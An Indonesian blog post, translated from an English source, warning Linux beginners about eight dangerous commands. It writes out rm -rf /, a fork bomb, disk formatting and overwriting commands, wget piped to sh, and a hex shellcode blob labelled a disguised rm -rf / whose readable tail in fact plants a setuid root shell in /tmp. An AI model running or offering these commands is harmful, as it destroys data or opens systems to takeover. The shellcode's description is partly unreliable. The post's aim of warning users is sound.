Copyrights @ Journal 2014 - Designed By Templateism - SEO Plugin by MyBloggerLab

Friday, October 14, 2016

, , , , ,

8 Perintah Mematikan dan Berbahaya Pada Linux

Share

Perintah dalam Linux memang sangat powerfull, dan Linux tidak akan meminta konfirmasi jika ada perintah yang dijalankan walaupun itu dapat merusak sistem Anda. Jika Anda masih baru dalam penggunaan sistem operasi Linux, ada baiknya simak beberapa perintah (command) di bawah ini untuk melindungi sistem operasi Anda dan meningkatkan pengetahuan tentang perintah dasar Linux.
Dengan catatan beberapa perintah di bawah ini menjadi sangat berbahaya apabila didahului dengan sudo (pada Ubuntu). Pada distribusi Linux lainnya perintah harus dijalankan sebagai root

1. rm -rf / (Hapus Semua!)

perintah rm-rf / dapat menghapus semuanya jika memungkinkan, termasuk file/data pada harddrive Anda dan file yang terhubung pada removable device. Jika dipilah maka pengertian perintah di atas adalah sebagai berikut:

  • rm - menghapus file yang dikehendaki
  • -rf - menjalankan perintah rm secara rekursif (menghapus semua file dan folder di dalam folder yang ditentukan) dan akan menghapus 'secara paksa' tanpa menampilkan konfirmasi kepada Anda
  • / - menjalankan perintah rm mulai dari direktori root '/' yang berisi semua file pada komputer dan semua media yang terhubung, termasuk file remote share dan removable drives

Linux akan menjalankan perintah penghapusan data tanpa adanya konfirmasi dari Anda, oleh karena itu hati-hati dalam menggunakan perintah ini. Perintah ini dapat dijalankan dengan banyak variasi, contohnya rm -rf ~ akan menghapus semua data pada home directory. Kemudian rm -rf.* akan menghapus semua file konfigurasi

2. Kode Penyamaran rm -rf /

Dapat Anda temukan ketika browsing dengan menggunakan versi hex.
 char esp[] __attribute__ ((section(“.text”))) /* e.s.p  
 release */  
 = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”  
 “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”  
 “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”  
 “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”  
 “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”  
 “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”  
 “\x6e\x2f\x73\x68\x00\x2d\x63\x00”  
 “cp -p /bin/sh /tmp/.beyond; chmod 4755  
 /tmp/.beyond;”;  

Jangan pernah menjalankan perintah 'aneh' yang tidak dapat Anda mengerti

3. :(){ :|: & };: – Fork Bomb

Perintah ini sangat sederhana sepertinya namun sangat berbahaya :(){ :|: & };:

Deskripsi dari perintah ini adalah sebuah shell yang berfungsi untuk menggandakan dirinya sendiri. Proses duplikasi akan terus berulang sampai CPU dan memory dengan cepat terbebani secara penuh. Oleh karena itu komputer akan hang. Dan ini adalah dasar dari Denial Of Service Attack

4. mkfs.ext4 /dev/sda1 - Memformat Hard Drive

Perintah ini sangat mudah untuk dipahami dimana

  • mkfs.ext4 - Membuat file sistem ext4 baru pada device yang bersangkutan
  • /dev/sda1 - Menentukan partisi pertama pada hard drive pertama, dimana kemungkinannya dipakai

Dengan kata lain, perintah ini sama dengan memformat drive C: pada sistem operasi Windows dan menghapus file sistem yang lama kemudian mengganti dengan file sistem yang baru. Perintah yang sama yaitu mkfs.ext3 /dev/sdb2 yang akan menjalankan proses format pada partisi kedua pada hard drive kedua dengan file sistem ext3.

HATI-HATI dalam menjalankan perintah pada hard drive secara langsung dengan awalan /dev/sd

5. command > /dev/sda – Perintah untuk menulis data secara langsung

Perintah command > /dev/sda mengirimkan perintah bahwa penulisan data langsung pada hard drive pertama Anda, dimana dapat membahayakan file system. Penjelasannya bisa disimak di bawah ini:
  • command – menjalankan perintah (apapun perintahnya)
  • > – mengirimkan perintah untuk menuju lokasi yang dituju.
  • /dev/sda – Menuliskan perintah langsung pada hard drive.

6. dd if=/dev/random of=/dev/sda – Menulis Data 'Junk' ke Hard Drive 

Perintah dd if=/dev/random of=/dev/sda ini juga akan melenyapkan semua data pada hard drive Anda
  • dd – menjalankan perintah duplikasi low-level dari lokasi satu ke lokasi lainnya.
  • if=/dev/random – menggunakan /dev/random (data acak) sebagai input.
  • of=/dev/sda – Outpun pada harddsik pertama, menumpukinya dengan data sampah yang acak dan dapat membahayakan sistem.

7. mv ~ /dev/null – Memindahkan Home Dir ke Lubang Hitam.

/dev/null merupakan lokasi khusus, dengan memindahkannya ke /dev/null sama saja dengan menghancurkannya. Dengan kata lain /dev/null adalah black hole.
  • mv – memindahkan file atau direktori ke lokasi lainnya.
  • ~ – mewakili home directory Anda.
  • /dev/null – memindahkan semua data dan menghancurkan data asalnya.

8. wget http://example.com/something -O – | sh – Download dan Menjalankannya Sebagai Script

Perintah di atas mengunduh script dari website dan mengirimkannya ke shell, yang mana mengeksekusi isi dari script tersebut. Hal ini sangat berbahaya apabila Anda tidak tahu script mana yang aman dan tidak, Jangan menjalankan script yang tidak jelas
  • wget – Download sebuah file 
  • http://example.com/something – Lokasi website yang akan didownload.
  • | – Tanda ini mengirimkan perintah wget ke perintah lainnya.
  • sh – Mengirimkan file tersebut ke dalam shell dimana akan dijalankan jika berbentuk bash script
Jika Anda mempunyai pengalaman tentang Perintah Mematikan dan Berbahaya Pada Linux yang lainnya, bagikan pada komentar di bawah ini.

Sumber:
http://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/

0 comments:

Post a Comment